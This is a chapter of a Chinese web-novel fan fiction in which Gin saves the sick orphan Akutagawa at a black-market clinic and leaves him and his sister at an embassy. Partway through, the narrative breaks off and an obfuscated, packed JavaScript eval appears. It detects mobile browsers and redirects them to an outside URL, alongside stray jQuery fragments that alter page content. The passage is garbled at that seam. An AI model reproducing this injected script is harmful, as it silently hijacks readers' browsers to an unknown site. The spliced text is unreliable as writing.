51.第 五十一 章

作品:《今天琴酒也在演戏

    组织的医疗网络像一张密不透风的黑网,从街头巷尾的私人诊所,到霓虹灯下挂着国际招牌的私立医院,每一处都是为“自己人”准备的安全屋——枪伤、刀伤甚至异能反噬的创口,都能在这些地方得到最快的处理,不会留下任何能被警方追溯的痕迹。


    就连横滨最混乱的镭钵街外围,都藏着一间挂着“便民药房”招牌的组织诊所,门脸破落得和周围的铁皮屋没两样,里面坐诊的老医生和抓药的护士,都是在组织里待了二十年的外围成员。


    他们没有行医执照,是道上人人皆知的“黑医”,但一手处理枪伤和急病的本事,比正规医院的主任医师还要稳妥。


    琴酒抱着烧得迷糊的芥川龙之介冲进来时,老医生正戴着老花镜整理药箱。


    看到琴酒怀里瘦得脱形的少年,他连问都没问,直接拉开诊所里间的布帘——那张铺着洗得发白的床单的铁架床,是这里唯一的“病床”。


    护士手脚麻利地取来体温计和退烧针,针尖扎进芥川龙之介干瘦的胳膊时,少年甚至没皱一下眉,只是无意识地哼了一声,手却依旧死死攥着琴酒的衣角。


    “急性肺炎,烧到40度,再晚来两个小时,肺就得烂透。”老医生捏着体温计看了一眼,又翻了翻少年的眼皮,指尖按在他凹陷的锁骨上,“还有严重营养不良,这孩子多久没正经吃过东西了?”


    他一边说,一边从药柜里抓出几包草药,又配了几支抗生素,“镭钵街的孤儿,能活着熬到现在,已经是命硬了。”


    护士往输液瓶里兑着药,语气里带着压不住的恼火:“政府那群人眼瞎吗?这么多孩子在这儿等死,就当没看见?连我们这些混黑的都知道给孩子留口热饭,他们倒好,把这地方当成垃圾桶!”


    老医生没接话,只是叹了口气,往药包里又加了一包补气血的药材——这些药本是给组织受伤成员准备的,现在却要分给一个素不相识的街头孤儿。


    诊所里弥漫着草药和消毒水的味道,琴酒靠在墙角,目光落在病床上的芥川龙之介身上:少年的眉头还皱着,嘴唇却没了刚才的惨白;旁边的芥川银抱着哥哥的手,缩在床脚的小板凳上,眼睛一眨不眨地盯着输液管里的药水,小脸上满是后怕。


    琴酒的指尖轻轻摩挲着风衣口袋里的异能探测仪,脑海里却闪过最初那个年幼的自己。


    【D97,按他现在的身体状况,能活到《文豪野犬》的剧情开端吗?】琴酒在意识里问道。


    冰冷的电子音立刻响起:【宿主,世界意识已放弃了文野的剧情。】


    琴酒的目光沉了沉。


    他低头看了一眼还攥着自己衣角的少年,又看了看床脚缩成一团的女孩,指尖微动——诊所里的金属药勺突然晃了晃,又归于平静。


    世界意识放弃了剧情,意味着这对兄妹的未来,不再是“加入港口黑手党、成为太宰治的弟子”的既定轨迹。


    也就是说芥川龙之介活不活得下来都无关紧要。


    能写出《罗生门》《地狱变》的芥川龙之介,本该是笔尖能刺破人性黑暗的大文豪,是日本文坛里能留下浓墨重彩的名字,可现在却要在横滨的污泥里挣扎,靠打架和偷窃活命——这简直是对“才华”两个字最荒谬的浪费。


    琴酒看着病床上刚退了烧、却依旧瘦得像根芦苇的少年,他想起这个世界的文坛现状:那些拿着政府津贴的“作家”,写的全是粉饰太平的空话,真正能触碰黑暗的文字,早被埋在了镭钵街的垃圾山下。


    这荒诞的对比,让他眼底漫开一丝冰冷的笑意。


    他不是会养孩子的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16882078|188816||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。组织的任务是他的优先级,穿越司的目标是他的底线,带着两个手无寸铁的孩子,只会成为累赘。


    但他知道另一个去处。


    种花家的大使馆就在横滨港附近,那里的人既懂“异能力”的价值,也不会像日本政府那样对底层弃之不顾;更重要的是,芥川兄妹连日本户籍都没有,对种花家而言,是个干净的“外来者”,不会牵扯任何本地势力的烂摊子。


    等芥川龙之介的烧彻底退下去,琴酒让护士把兄妹俩裹进了两件干净的旧外套——是组织外围成员留下的,虽然不合身,却足够挡风。他开车绕了三条路,确认没有被跟踪后,才停在种花家大使馆的铁门外。


    此时已是凌晨,大使馆的门卫室只亮着一盏昏黄的灯。


    琴酒把还没完全清醒的芥川龙之介放在台阶上,又让一脸茫然的芥川银蹲在哥哥身边,指尖在她手里塞了一张写着“没日本户籍,异能者,文豪的好苗子”的纸条。


    “待在这里,会有人来接你们。”琴酒的声音很轻,却带着不容置疑的力度。


    芥川银攥着纸条,看着眼前这个救了哥哥的银发男人,还没来得及说句“谢谢”,就见黑色轿车的引擎猛地响起,轮胎碾过地面的石子,几乎是瞬间就消失在夜色里,只留下一道淡白色的尾气。


    门卫室的保安被引擎声惊动,推开门探出头时,只看到台阶上缩着的两个孩子,和远处彻底消失的车影。


    而琴酒已经开上了前往东京的高速,后视镜里横滨的灯光越来越淡——他知道,这对兄妹的命运,从被扔在大使馆门口的那一刻起,就彻底偏离了“混黑”的轨迹。或许未来,芥川龙之介会拿起笔,而不是刀;芥川银会坐在教室里,而不是躲在垃圾山后。


    这是他能给的、最不拖泥带水的结局。